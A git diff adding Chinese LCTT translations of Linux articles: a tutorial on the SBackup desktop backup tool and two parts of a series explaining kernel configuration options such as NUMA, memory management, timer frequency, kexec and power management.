http://www.unixmen.com/recoll-text-searching-tool-linux-desktops/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.recoll.org/ +[2]:http://www.lesbonscomptes.com/recoll/download.html +[3]:http://sourceforge.net/projects/recollfirefox/ \ No newline at end of file diff --git a/published/SBackup--A Simple Backup Solution For Your Linux Desktop.md b/published/SBackup--A Simple Backup Solution For Your Linux Desktop.md new file mode 100644 index 0000000000..debf28a6ff --- /dev/null +++ b/published/SBackup--A Simple Backup Solution For Your Linux Desktop.md @@ -0,0 +1,173 @@ +SBackup: 一个Linux下的简单备份软件 +================================================================================ + +**SBackup** 是一个简单易用的开源备份软件。它可以备份任意文件或者文件夹的一部分。所有的配置文件可以通过 Gnome 界面进行访问。文件和路径可以直接通过正则表达式进行添加和排除。它支持本地备份和远程备份。虽然它看起来简单,但是它有着许多常见的高级备份功能。 + +### 特点 ### + +SBackup 可以完成以下工作 + +- 可以创建压缩和未压缩的备份 +- 可以把未压缩的备份分割成多份文件 +- 支持多份备份配置。每个人都可以根据自己的需求创建并修改自己的配置文件,但是不能删除默认配置文件 +- 有多种选项,如日志、邮件通知、以状态图标的形式展现和提醒 +- 支持计划任务备份和手动备份 +- 可以备份到本地(如硬盘),也可以备份到远程(如通过 FTP 访问 NAS) + +### 在 Ubuntu、Linux Mint 和 Debian 上安装 SBackup ### + +SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得,所以只要运行以下命令即可安装 + + sudo apt-get install sbackup + +### 运行 SBackup ### + +通过 Dash 或者 Menu 打开 SBackup + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Menu_0011.jpg) + +将会看到如下界面 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_002.jpg) + +### SBackup 配置 ### + +最初的 SBackup 没有任何用户自定义的配置文件,只有默认的配置文件。需要注意的是,用户不能删除默认的配置文件。若要创建一个新的配置文件,点击 Tools -> Profile Manager,将看到如下窗口 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_003.jpg) + +单击 Add 来创建新配置文件,例子的文件用“sk”来命名 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_004.jpg) + +现在已经创建了新的配置文件。若要设置配置,先选择配置文件,再单击 Edit + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Configuration-Profile-Manager_005.jpg) + +现在看到 SBackup 的配置文件已经被切换到“sk” + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_006.jpg) + +当然,也可以根据不同人的需求来修改默认配置文件 + +**注意事项**:如果你用普通用户运行 SBackup,计划任务备份不能生效,你需要用 root 用户来运行。如上图所示,因为我是以普通用户运行 Sbackup,所以 Schedule 选项是灰色不可选中状态。 + +在本教程中,我将以 root 权限运行 SBackup,并且使用的是**默认配置** + +打开终端,运行以下命令来以 root 权限运行 SBackup + + sudo sbackup-config-gtk + +上面的命令将以 root 权限打开默认配置的 SBackup + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_001.jpg) + +#### General选项卡 #### + +在 General 选项内,你可以选择多久进行一次完整备份,默认是7天。每7天 SBackup 将会进行一次完整的备份。你也可以选择备份的压缩格式。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0021.jpg) + +#### Include选项卡 #### + +这个选项不需要解释太多,你可以添加 SBackup 要备份的文件或目录。这里可以选择备份单独的文件或者完整的目录,我删除了所有的目录仅仅保留了“Resume” + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0031.jpg) + +#### Exclude选项卡 #### + +如同 Include 选项,我们可以选择备份时排除的文档和目录,只需要选择要排除的文档和目录的路径即可。在默认配置下,/media, /var/run/, /var/cache/, /var/spool/ 和 /vat/tmp/ 目录均被排除 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0041.jpg) + +更进一步的是,你可以增加备份时排除文件的类型,像 mp3 和 avi 等等。在默认配置下,mp3, avi, mpeg, mkv, ogg 和 iso 是被排除不被备份的。如果你想备份这些文件,只要选中然后点击 remove。当然,如果要排除其他类型的文件,只需要点击 add 然后增加。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_005.jpg) + +在默认配置下,SBackup 不会备份.gvfs, .thumbnails, .Trash 和 .cache 这些文件夹 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0061.jpg) + +同时你也可以在备份时根据文件大小来排除某些文档和文件夹,这里我排除了体积超过100MB 的文档和文件夹。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0071.jpg) + +#### Destination选项卡 #### + +在这里你可以选择备份存放的路径,正如我之前提到的,你可以把备份的文档或文件夹存放在硬盘或者远程的 FTP 或 NAS。这里我将把备份保存在 /home/sk/My Backup 目录下。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_019.jpg) + +**提示:** 在备份前确认目录有足够的空间保存备份文件 + +#### Schedule选项卡 #### + +在这个选项中,你可以设定具体的备份时间。点击 **Simple** 选项,可以按每小时、每日、每周、每月来设置你的计划备份时间。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_010.jpg) + +如果你擅长使用命令行来计划任务,则可以使用 cron 来操作。当你开启每日备份计划时,cron 命令在 **/etc/cron.daily/** 目录中创建计划文件 + + sudo ls -l /etc/cron.daily/sbackup + +示例的输出显示 + + lrwxrwxrwx 1 root root 33 Nov 8 15:34 /etc/cron.daily/sbackup -> /usr/share/sbackup/sbackup-launch + +#### Purging选项卡 #### + +在这个选项里,可以删除超过一定时间的备份文件。在默认配置下,超过30天的备份文件将被删除。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0111.jpg) + +#### Report选项卡 #### + +Report 是最后一个选项卡,在这里你可以设置接收备份完成通知的邮箱。输入你的邮箱ID、SMTP服务地址、邮箱用户名、密码后,点击 Test mail settings。需要留意的是,在测试邮箱设置前,点击工具栏中的Save Configuration按钮保存你的配置。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0121.jpg) + +你将在完成测试邮箱设置后看到 “Test Successful” 字样。 + +### 开始备份 ### + +点击 SBackup 工具栏上的 **Make Backup now button** 按钮立即开始备份。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Selection_015.jpg) + +弹出一个窗口,点击 Yes 开始创建备份文件。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/sbackup-config-gtk_024.jpg) + +现在备份的进程已经在后台开始运行,你可以通过在通知栏上的状态显示来监视备份的进程。 + +完成备份之后,关闭 SBackup ,并且确认备份文件保存在指定的目录。例子中我保存的目录是/home/sk/My Backup。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Selection_020.jpg) + +### 恢复文件 ### + +在终端中运行命令 + + sudo sbackup-restore-gtk + +在 SBackup 的恢复窗口,选择可用的备份日期和快照,在 Restoration Management 面板中选择任意一个要恢复的文件,单击 **restore** 保存到默认位置或者单击 **restore as** 保存到指定的位置。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_023.jpg) + +现在文件已经从备份中恢复,就这么简单。 + +### 来源: ### + +- [https://launchpad.net/sbackup][1] +- [http://sourceforge.net/projects/sbackup/][2] + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/linux-desktop-backup-made-easy-sbackup/ + +译者:[NearTan](https://github.com/NearTan) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://launchpad.net/sbackup +[2]:http://sourceforge.net/projects/sbackup/ diff --git a/published/The Linux Kernel/08 The Linux Kernel--Configuring the Kernel Part 4.md b/published/The Linux Kernel/08 The Linux Kernel--Configuring the Kernel Part 4.md new file mode 100755 index 0000000000..9fdb206112 --- /dev/null +++ b/published/The Linux Kernel/08 The Linux Kernel--Configuring the Kernel Part 4.md @@ -0,0 +1,160 @@ +戴文的Linux内核专题:08 配置内核(4) +================================================================================ + +在这个第四部分里,我们将继续配置更多的设置和特性。 + +这里我们被问及关于"IBM Calgary IOMMU support (CALGARY\_IOMMU)"。这个选项将会提供对IBM xSeries x366和x460的IOMMU的支持。这也将让那些32位PCI的设备工作正常——在这些系统上不支持双地址周期(DAC : Double Address Cycle)——因为该系统设置在访问超过3GB内存的时候会有问题。如果需要这些IOMMU设备可以用"iommu=off"在启动时关闭。(这些内核/模块参数会在以后的文章中讨论) + +IOMMU(input/output memory management unit)是一个内存管理单元(MMU),它连接具有DMA功能的I/O总线到主内存上。DMA(Direct Memory Access)是许多计算机支持的一种允许特定设备不借助CPU直接访问内存的特性。双地址周期(Double Address Cycle, DAC)是64位DMA;而通常的DMA使用32位。 + +下面,我们被问及是否默认启用Calgary(Should Calgary be enabled by default? (CALGARY\_IOMMU\_ENABLED\_BY\_DEFAULT))。Calgary与上面提到的IOMMU是同一个概念。这两者之间的不同是IOMMU可以支持许多设备而Calgary只能支持IBM IOMMU设备。如果禁用了它,但是以后需要使用到它,可以使用内核参数(iommu=calgary)。 + +这里有个问题需要小心处理(Enable Maximum number of SMP Processors and NUMA Nodes (MAXSMP))。只有在内核运行在拥有很多SMP处理器和NUMA节点的情况下才启用它,如Core i7和许多AMD CPU芯片。如果系统缺乏或者只有少量的SMP处理器和NUMA节点,内核就会变得低效。这个最好选择"No"。 + +非一致性内存访问(Non-Uniform Memory Access (NUMA))是一个每块内存都需要花费更长时间访问其他部分内存的系统。一个节点就是一组内存。例如,一个NUMA系统可能有三块内存芯片。每块芯片是一个节点,在带CPU的主板上有一个节点/芯片(这是最快的节点),另外两个在不同的总线上。这两个节点需要比第一个节点花费更长的时间去访问。 + +注意:ccNUMA和NUMA目前是一样的,至少是非常相似的。 + +对称多处理器(Symmetric Multi-Processing (SMP))是NUMA的替代品。它的内存在同一根总线上。只有限定数量的CPU可以访问总线,所以这限制了SMP系统上处理器的数量。然而它内存的访问速度一样块。 + +注意:我是在为AMD64系统在编译内核,所以我会告诉你我的选择,来帮助读者理解过程和选择。如果我没有指出我的选择,那么我用的就是默认选择。如果你在为不同的系统编译或者你有不同的需求,你需要在你的情况下做出替代的选择。 + +接下来,除非配置工具已经为你做了选择,选择一个内核需要支持的最多CPU的数量。这个配置根据你给的数量优化内核。 + +接着启用或禁用"SMT (Hyperthreading) scheduler support (SCHED\_SMT)"(超线程调度器支持)。SMT调度器提升了在使用了超线程技术的Pentium 4处理器上的CPU决策能力。然而,这会带来额外的功耗,在一些系统上最好像我一样选择"no"。 + +超线程一种专有的SMT并行微处理器(Intel 实现了它)。这是多任务/多线程(同时做许多任务)的一种特殊形式,并行多线程(Simultaneous multithreading (SMT))提升了多线程执行的效率。 + +在这之后,启用或者禁用"Multi-core scheduler support (SCHED\_MC)"。这样也是一种提升多核CPU决策的特性。然而这回带来额外功耗,我选择了"No"。 + +在下一个选项中可以选择抢占模式。 + +Preemption Model(抢占模式) + +1\. No Forced Preemption (Server) (PREEMPT\_NONE) (非强制抢占) + +\> 2. Voluntary Kernel Preemption (Desktop) (PREEMPT\_VOLUNTARY) (自愿内核抢占) + +3\. Preemptible Kernel (Low-Latency Desktop) (PREEMPT) (可抢占内核) + +choice[1-3]: 2 + +抢占就是暂停一个意图让它之后继续执行的中断任务的过程。抢占强制一个进程暂停,执行中的任务无法忽视抢占。 + +接着,我们被询问关于"Reroute for broken boot IRQs (X86\_REROUTE\_FOR\_BROKEN\_BOOT\_IRQS)"。这是一个对于假中断的简单修复。假中断是一种无用的硬件中断,这些通常是有电子干扰或者错误连接的电子产品触发。记住,中断是发送给处理器需要马上注意的信号。 + +这个选项对任何机器都很重要;我怀疑任何人可能都会有禁用这个特性的理由(Machine Check / overheating reporting (X86\_MCE))。内核必须意识到过热和数据损坏,不然,系统将会继续操作,这样只会导致进一步的破坏。 + +下面,用户可以启用禁用"Intel MCE features (X86\_MCE\_INTEL)",这是一种额外的对像热度监控的Intel MCE特性的支持。因为我是为AMD64处理器编译内核所以我选择了"no"。机器检测异常(MCE)是一种当处理器发现硬件问题时的错误输出。MCE通常会导致内核严重错误(kernel panic)(相当于Windows中的"蓝屏")。 + +这个除了是AMD设备外是同一个问题Intel MCE features (X86\_MCE\_INTEL)。 + +下一个是我会禁用的调试特性(Machine check injector support (X86\_MCE\_INJECT))。这个会允许注射检查。如果你偶尔执行机器注射,那最好编译成模块而不是编译进内核。机器注射可以使设备即使实际没有错误也可以发送一个伪造的错误信息。这个用来确认内核和其他进程可以正常处理错误。比如,如果CPU过热,接着应该关机,但是开发者如何在不损坏CPU的情况下测试代码。注射错误是一种最好的方法,因为它只是一种告诉硬件发送错误信号的软件。 + +注:模块是对可能被使用或者很少执行的特性/驱动而言的。只加入在许多使用该内核的系统中用到的特性/驱动到内核中。 + +如果内核很可能用在Dell笔记本上,那么启用这个特性(Dell laptop support (I8K))。否则,如果一些用户可能在戴尔笔记本电脑上用到这个内核,将其作为一个模块加入。如果这个内核不打算支持Dell笔记本,那就像我一样忽略掉它。特别地,这个支持是一个允许Dell Inspiron 8000系列笔记本访问处理器的系统管理模式的驱动。系统管理模式的目的是得到处理器的温度和风扇状态,这对一些需要控制风扇的系统有用。 + +下面,用户可以选择微码加载支持(CPU microcode loading support (MICROCODE))。这可以允许用户在支持这个特性的AMD或者Intel芯片上更新微码。 + +注意:为了加载微码,你必须拥有一个为你的处理器设计的合法的二进制微代码拷贝。 + +如果要加载微码补丁(修复bug或加入次要的特性)到intel芯片上(Intel microcode loading support (MICROCODE\_INTEL)),这个就必须启用。这里我禁用了它。 + +然后是AMD芯片的类似选项(AMD microcode loading support (MICROCODE\_AMD))。 + +启用这个支持(/dev/cpu/*/msr - Model-specific register support (X86\_MSR))可以允许某个处理器有权限使用x86特殊模块寄存器(Model-Specific Registers (MSRs))。这些寄存器是一些字符设备,包括major 202下minor 0到31的设备((/dev/cpu/0/msr to /dev/cpu/31/msr))。这个特性用在多处理器系统上。每个虚拟字符设备都连接到一个特定的CPU。 + +注意:MSRs被用来改变CPU设备、调试、性能监控和执行追踪。MSRs使用x86指令集。 + +在这之后,我们有一个选项"CPU information support (X86\_CPUID)",启用这个特性允许处理器访问x86 CPUID指令,这需要通过字符设备在一个特定的CPU上执行。这些字符设备包括major 202下minor 0到31的设备(/dev/cpu/0/msr to /dev/cpu/31/msr),就像上面x86\_MSR支持的这些。 + +如果处理器支持,启用内核线性映射来使用1GB的内存页(Enable 1GB pages for kernel pagetables (DIRECT\_GBPAGES))。启用这个可以帮助减轻TLB的压力。 + +页是内存本身的基本单位(位是数据的基本单位)。页的大小是由硬件自身决定的。页码表是虚拟和物理内存间的映射。物理内存是设备上的内存。虚拟内存是到内存的地址。依赖于系统架构,硬件可以访问大于实际内存地址的地址。举例来说,一个64位系统拥有6GB内存,管理员在需要时可以加上更多的内存。这是因为还有很多虚拟内存地址。然而,在很多32位系统上,系统管理员可以增加一条8GB的内存,但是系统无法完全使用它,因为系统中没有足够的虚拟内存地址去访问大容量的内存。转换后援缓冲器(Translation Lookaside Buffer (TLB))是一种提升虚拟内存转换速度的缓存系统。 + +下面,我们看到了NUMA选项(Numa Memory Allocation and Scheduler Support (NUMA))。这可以允许内核在CPU本地内存分配器上分配CPU可使用的内存。这个支持同样可使内核更好感知到NUMA。很少的32位系统需要这个特性,但是一些通用的645位处理器使用这个特性。我选择了"no"。 + +为了系统使用旧方式来检测AMD NUMA节点拓扑,启用这个特性(Old style AMD Opteron NUMA detection (AMD\_NUMA))。下一个选项是一种更新的检测方式(ACPI NUMA detection (X86\_64\_ACPI\_NUMA))。如果两个都启用,新的方式将会占支配作用。一些硬件在使用其中一种方式而不是另外一个时工作得更好。 + +如果为了调试目的的NUMA仿真,可以启用下一个特性(NUMA emulation (NUMA\_EMU))。 + +注意:如果你不打算进行调试并且你需要一个快速、轻量级系统,那么禁用尽可能多的调试特性。 + +下一个选项中,选择你的内核打算如何处理NUMA节点的最大数量。接下来选择内存模型,这里可能只有一个内存模型选择。内存模型指定了内存如何存储。 + +Maximum NUMA Nodes (as a power of 2) (NODES\_SHIFT) [6] + +Memory model + +\> 1. Sparse Memory (SPARSEMEM\_MANUAL) + +choice[1]: 1 + +为了提升性能,这里有一个选项用通过虚拟内存映射(Sparse Memory virtual memmap (SPARSEMEM\_VMEMMAP))来优化pfn\_to\_page和page\_to\_pfn操作。页帧号是每页被给定的号码。这两个操作用来从号码得到页或者从页得到号码。 + +下一个选项是允许一个节点可以移除内存(Enable to assign a node which has only movable memory (MOVABLE\_NODE))。内核页通常无法移除。当启用后,用户可以热插拔内存节点,同样可移除内存允许内存整理。作为出入内存的数据,只要有可用空间一组数据可能被划分到不同内存。 + +接着前面的内存问题,我们还有更多的问题。这些可能已被配置工具预配置了。第三个选项(BALLOON\_COMPACTION),当启用时可以帮助减少内存碎片。碎片内存会减慢系统速度。第四个选项(COMPACTION)允许内存压缩。下面列到的第五个选项(MIGRATION)允许页面被移动。 + +- Allow for memory hot-add (MEMORY\_HOTPLUG) (允许内存热添加) +- Allow for memory hot remove (MEMORY\_HOTREMOVE) (允许内存热移除) +- Allow for balloon memory compaction/migration (BALLOON\_COMPACTION) (允许泡状内存规整和合并) +- Allow for memory compaction (允许内存规整) +- Page migration (MIGRATION) (页合并) + +注意:启用可移动内存会启用以上5个特性。 + +下一步,我们可以"Enable KSM for page merging (KSM)"。内核同页合并(Kernel Samepage Merging (KSM))会查看程序认为可以合并的内核。如果两页内存完全相同这可以节约内存。一块内存可以被删除或者被合并,并且只有一块可以使用。 + +配置工具可能会自动选择保存多少内存用于用户分配(Low address space to protect from user allocation (DEFAULT\_MMAP\_MIN\_ADDR) [65536])。 + +下一个选项很重要(Enable recovery from hardware memory errors (MEMORY\_FAILURE))。如果内存故障并且系统有MCA恢复或者ECC内存,系统就可以继续运行并且恢复。要使用这个特性,硬件自身和内核都必须支持。 + +机器检测架构(Machine Check Architecture (MCA))是一个一些CPU上可以发送硬件错误信息给操作系统的特性。错误更正码内存(Error-correcting code memory (ECC memory))是一种内存设备检测和纠正错误的形式。 + +下面,配置工具会自动启用"HWPoison pages injector (HWPOISON\_INJECT)"。这个特性允许内核标记一块坏页为"poisoned",接着内核会杀死创建坏页的程序。这有助于停止并纠正错误。 + +为了允许内核使用大页(Transparent Hugepage Support (TRANSPARENT\_HUGEPAGE)),启用这个特性。这可以加速系统但是需要更多内存。嵌入式系统不必使用这个特性。嵌入式系统通常只有非常小的内存。 + +如果启用了上面的,那么必须配置大页的sysfs支持。 + +Transparent Hugepage Support sysfs defaults + +1\. always (TRANSPARENT\_HUGEPAGE\_ALWAYS) + +\> 2. madvise (TRANSPARENT\_HUGEPAGE\_MADVISE) + +choice[1-2?]: 2 + +下面的选项是增加process\_vm\_readv和process\_vm\_writev这两个系统调用(Cross Memory Support (CROSS\_MEMORY\_ATTACH))。这允许特权进程访问另外一个程序的地址空间。 + +如果有tmem,启用缓存清理(cleancache)通常是一个好主意 (Enable cleancache driver to cache clean pages if Transcendent Memory (tmem) is present (CLEANCACHE))。当一些内存页需要从内存中移除时,cleancache会将页面放在cleancache-enabled的文件系统上。当需要该页时,页会被重新放回内存中。超内存(tmem)没有一组已知大小的内存,内核对此内存使用间接寻址。 + +下一个选项允许在tmen激活后缓存交换页(Enable frontswap to cache swap pages if tmem is present (FRONTSWAP))。frontswap在交换分区放置数据。交换特性的支持需要这个。 + +最好启用下一个特性(Check for low memory corruption (X86\_CHECK\_BIOS\_CORRUPTION))。这会检测低位内存的内存损坏情况。这个特性在执行期被禁止。为了启用这个特性,在内核命令行内加入 "memory\_corruption\_check=1"(这会在以后的文章中讨论;这不同于任何命令行)。即使经常执行这个特性,也只使用非常小的开销(接近没有)。 + +接下来我门可以设置内存损坏检测的默认设置(“Set the default setting of memory\_corruption\_check (X86\_BOOTPARAM\_MEMORY\_CORRUPTION\_CHECK))。这可以选择是否开启或关闭memory\_corruption\_check。最好启用内存损坏检测不然如果一部分重要内存损坏后可能会导致数据丢失和系统崩溃。 + +这个选项关注的是BIOS(Amount of low memory, in kilobytes, to reserve for the BIOS (X86\_RESERVE\_LOW) [64])。配置工具通常知道给BIOS预留内存的最佳大小。 + +对于Intel P6处理器,开发者可以启用存储区域类型寄存器(MTRR (Memory Type Range Register) support (MTRR))。这用于连接着VGA卡的AGP和PCI卡。启用这个特性内核会创建/proc/mtrr。 + +如果X驱动需要加入回写入口,那么启用下面的选项(MTRR cleanup support (MTRR\_SANITIZER))。这会将MTRR的布局从连续转换到离散。存储区域类型寄存器(Memory type range registers (MTRRs))提供了一种软件访问CPU缓存的方法。 + +下面,配置工具已经设置了一些MTRR选项 + +- MTRR cleanup enable value (0-1) (MTRR\_SANITIZER\_ENABLE\_DEFAULT) [1] + +- MTRR cleanup spare reg num (0-7) (MTRR\_SANITIZER\_SPARE\_REG\_NR\_DEFAULT) [1] + +为了设置页级缓冲控制,那就启用PAT属性(x86 PAT support (X86\_PAT))。页属性表(Page Attribute Table (PATs))是现在版的MTRRs并比它更灵活。如果你经历过因启用它而引发的启动问题,那么禁用这个特性后重新编译内核。我选择了"no"。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-4.4392/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/The Linux Kernel/09 The Linux Kernel--Configuring the Kernel Part 5.md b/published/The Linux Kernel/09 The Linux Kernel--Configuring the Kernel Part 5.md new file mode 100644 index 0000000000..3f979b4c23 --- /dev/null +++ b/published/The Linux Kernel/09 The Linux Kernel--Configuring the Kernel Part 5.md @@ -0,0 +1,114 @@ +戴文的Linux内核专题:09 配置内核(5) +================================================================================ + +Linux内核拥有许多可以配置的特性,接下来我们还有许多要配置。 + +下一个可以配置的特性是x86的随机数生成器(x86 architectural random number generator (ARCH_RANDOM))。记住,我们现在配置的是针对AMD64系统的内核代码。这个随机数生成器使用Intel x86的RDRAND指令。这并不通用,所以为了一个更轻量的内核我禁用了它。 + +接着,我们可以启用或者禁用"Supervisor Mode Access Prevention (X86\_SMAP)"。这是Intel处理器使用的安全特性。SMAP在一些条件下只允许内核访问用户空间。这个有助于保护用户空间。如果启用,这里有一点性能和内核大小的开销,但是开销很小。由于我是用的是AMD系统,所以我禁用了这个特性。 + +开发者可以启用"EFI runtime service support (EFI)"。只有在有EFI固件的系统上启用它。拥有这个特性,内核可以使用的EFI服务。EFI是一个操作系统和硬件如何交流的规范,所以EFI固件是使用这个规范的硬件代码。因为我没有EFI固件,所以我禁用了它。 + +这是一个应该被启用的有用的安全方式(Enable seccomp to safely compute untrusted bytecode (SECCOMP))。这个安全特性在使用非可信的字节码的数值计算(执行大量计算的软件)中使用。字节码(可移植代码)是一种被解释器有效读取的代码。字节码不是源代码,但它也不是汇编或者二进制代码。非可信的代码是一种可能导致系统/数据损坏的代码。可能会破坏系统或者毁坏数据的非可信的代码通过seccomp被隔离在独立的地址空间中。这是通过文件描述符传输的方法。通常上,最好启用这个安全特性,即使会有一些性能开销,除非你在制作一个需要榨干性能的内核。 + +这里是另外一个安全特性(Enable -fstack-protector buffer overflow detection (CC\_STACKPROTECTOR))。缓冲溢出是数据被写在超出了它的内存界限而进入了邻近的内存中。这是一个安全威胁。一些恶意软件使用缓冲区溢出来破坏系统。启用这个会使用GCC选项 "-fstack-protector"。GCC是一个Linux编译器,在你配置完成后用它来编译内核。这个编译器参数会在返回地址前在栈上加入一个canary值(特殊的安全代码)。这个值会在返回前被验证。当内存溢出发生时,canary值会得到覆盖消息。这时,会导致内核崩溃。如许多人知道的那样,内核错误意味着系统将要崩溃,但是这比系统被入侵或者数据永久损害的好。发生内核错误,系统会重启,但是如果缓冲溢出则可能导致系统被入侵。一个简单的重启无法修复破坏(译注:但也不会更坏)。你必须用GCC 4.2或者更高版本支持这个参数的GCC来编译内核。 + +提示:要知道你使用的版本号,在命令行内键入"gcc --version"。 + +在这之后,我们可以配置定时器频率。配置工具建议使用250Hz,所以我们使用这个值。 + +Timer frequency + +1\. 100 HZ (HZ\_100) + +\>2\. 250 HZ (HZ\_250) + +3\. 300 HZ (HZ\_300) + +4\. 1000 HZ (HZ\_1000) + +choice[1-4?]: 2 + +使用1000Hz通常来讲对许多系统而言太快了。定时器频率决定着定时器中断被使用的频率。这有助于在时间线上的系统操作。程序并不是随机地执行一条命令,相反它们会等到定时器中断结束。这保持着有组织和结构的处理。频率为100Hz的定时器中断之间的时间是10ms,250Hz是4ms,1000Hz是1ms。现在许多开发者会马上想到1000Hz是最好的。好吧,这取决于你对开销的要求。一个更大的定时器频率意味着更多的能源消耗和更多的能源被利用(在定时器上),产生更多的热量。更多的热量意味着硬件损耗的更快。 + +注意:如果某个特定的特性对你并不重要或者你不确定该选择什么,就使用配置工具选择的默认值。比如,就我现在正在配置的内核而言,使用哪个定时器对我并不重要。总的来说,如果你没有特别的原因去选择任何一个选项时,就使用默认值。 + +下面这个有趣的系统调用可能会对一些用户有用(kexec system call (KEXEC))。kexec调用会关闭当前内核去启动另外一个或者重启当前内核。硬件并不会关闭,并且这个调用可以无需固件的帮助工作。bootloader是不执行的(bootloader是启动操作系统的软件) 。这个重启发生在操作系统级别上而不是硬件上。使用这个系统调用会快于执行一个标准的关机或者重启,这会保持硬件在加电状态。这个系统调用并不能工作在所有系统上。为了更高性能,启用这个热启动功能。 + +为了使用kexec,对重启后要使用的内核使用如下命令替换""。同样,使用之前我们讲过的内核参数替换"" (我会在以后的文章中更深入的讨论。) + + kexec -l --append="” + +特别地,我这里输入: + + kexec -l /boot/vmlinuz-3.8.0-27-generic –append="root=/dev/sda1" + +注意:硬件有时不需要重置,所以这不依赖于kexec。 + +下面,我们有一个适用于kexec的调试特性(kernel crash dumps (CRASH\_DUMP))。当kexec被调用时,一个崩溃信息(crash dump)会生成。除非你有必要调试kexec,否则这个并不必要。我禁用了这个特性。 + +再者,我们有另外一个kexec特性(kexec jump (KEXEC_JUMP))。kexec跳允许用户在原始内核和kexec启动的内核之间切换。 + +最好对内核启动地址使用默认值(Physical address where the kernel is loaded (PHYSICAL\_START) [0x1000000])。 + +下一个内核选项(Build a relocatable kernel (RELOCATABLE))允许内核放在内存的任何地方。内核文件会增大10%,但是超出部分会在执行时从内存移除。许多人也许想知道这为什么很重要。在2.6.20内核前,救援内核(rescue kernel)必须被配置和编译运行在不同的内存地址上。当这个特性发明后,开发者不必再编译两个内核。救援内核不会在第一个已加载的内核的地方加载,因为该块内存已被占用或者发生了错误。(如果你正在使用救援内核,那么明显第一个内核发生了错误) + +下面这个特性应该在可以增加CPU数量的系统中启用,除非你有特别的理由不去这么做(Support for hot-pluggable CPUs (HOTPLUG\_CPU))。配置工具会自动启用这个特性。在这个特性下,你可以在一个拥有很多处理器的系统上激活/停用一个CPU,这并不是说在系统中插入新的CPU,所有的CPU必须已经安装在系统中。 + +下面的选项会让我们选择设置上面的特性是否默认启用(Set default setting of cpu0_hotpluggable (BOOTPARAM\_HOTPLUG\_CPU0))。为了性能最好禁用这个特性直到需要的时候。 + +接着的这个调试特性允许开发者调试CPU热插拔特性(Debug CPU0 hotplug (DEBUG\_HOTPLUG\_CPU0))。我禁用了它。 + +为了兼容旧版本的glibc(<2.3.3),可以启用这个特性(Compat VDSO support (COMPAT\_VDSO))。这适用于通过映射32位在VDSO(虚拟动态链接共享对象)的旧式地址。Glibc是GNC C库;这是GNU工程实现的C标准库。 + +如果系统内核被用于一个缺乏完整功能的bootloader上,那么启用这个特性(Built-in kernel command line (CMDLINE_BOOL))。这允许用户在内核自身上使用一条命令行(译注:及其参数),那么管理员可以修复内核问题。如果bootloader已经有了一条命令行(像grub),那么这个特性不必启用。 + +现在我们可以配置ACPI和电源了。首先,我们被要求选择系统是否可以挂起到内存(Suspend to RAM and standby (SUSPEND))。高级配置和电源接口(ACPI)是一种对于设备配置和电源管理的开放标准。挂起系统会将数据放在内存上,同时硬件进入一种低功耗的状态。系统不会完全关机。如果用户需要计算机进入一个低功耗的状态,但是希望保留当前已打开程序时是非常有用的。关闭一个系统会完全关闭系统电源并且清理内存。 + +下面,我们可以启用睡眠(Hibernation (aka 'suspend to disk') (HIBERNATION))。睡眠就像挂起模式,但是内存中所有数据被保存到硬盘上,并且设备完全关闭。这允许用户在电源恢复后继续使用他们已打开的程序。 + +这里,我们可以设置默认的恢复分区(Default resume partition (PM\_STD\_PARTITION))。很少有开发者和管理员需要这个特性。当系统从睡眠中恢复时,他会加载默认的恢复分区。 + +在这之后,我们可以启用"Opportunistic sleep (PM\_AUTOSLEEP)"。这会让内核在没有活跃的唤醒调用被调用时进入挂起或者睡眠状态。这意味着空闲的系统将会进入挂起模式以节省电源。我启用了这个特性。 + +接下来,是询问关于"User space wakeup sources interface (PM\_WAKELOCKS)"。启用这个特性将会允许唤醒源对象被激活、停用,并通过基于sysfs接口由用户空间创建。唤醒源对象会追踪唤醒事件源。 + 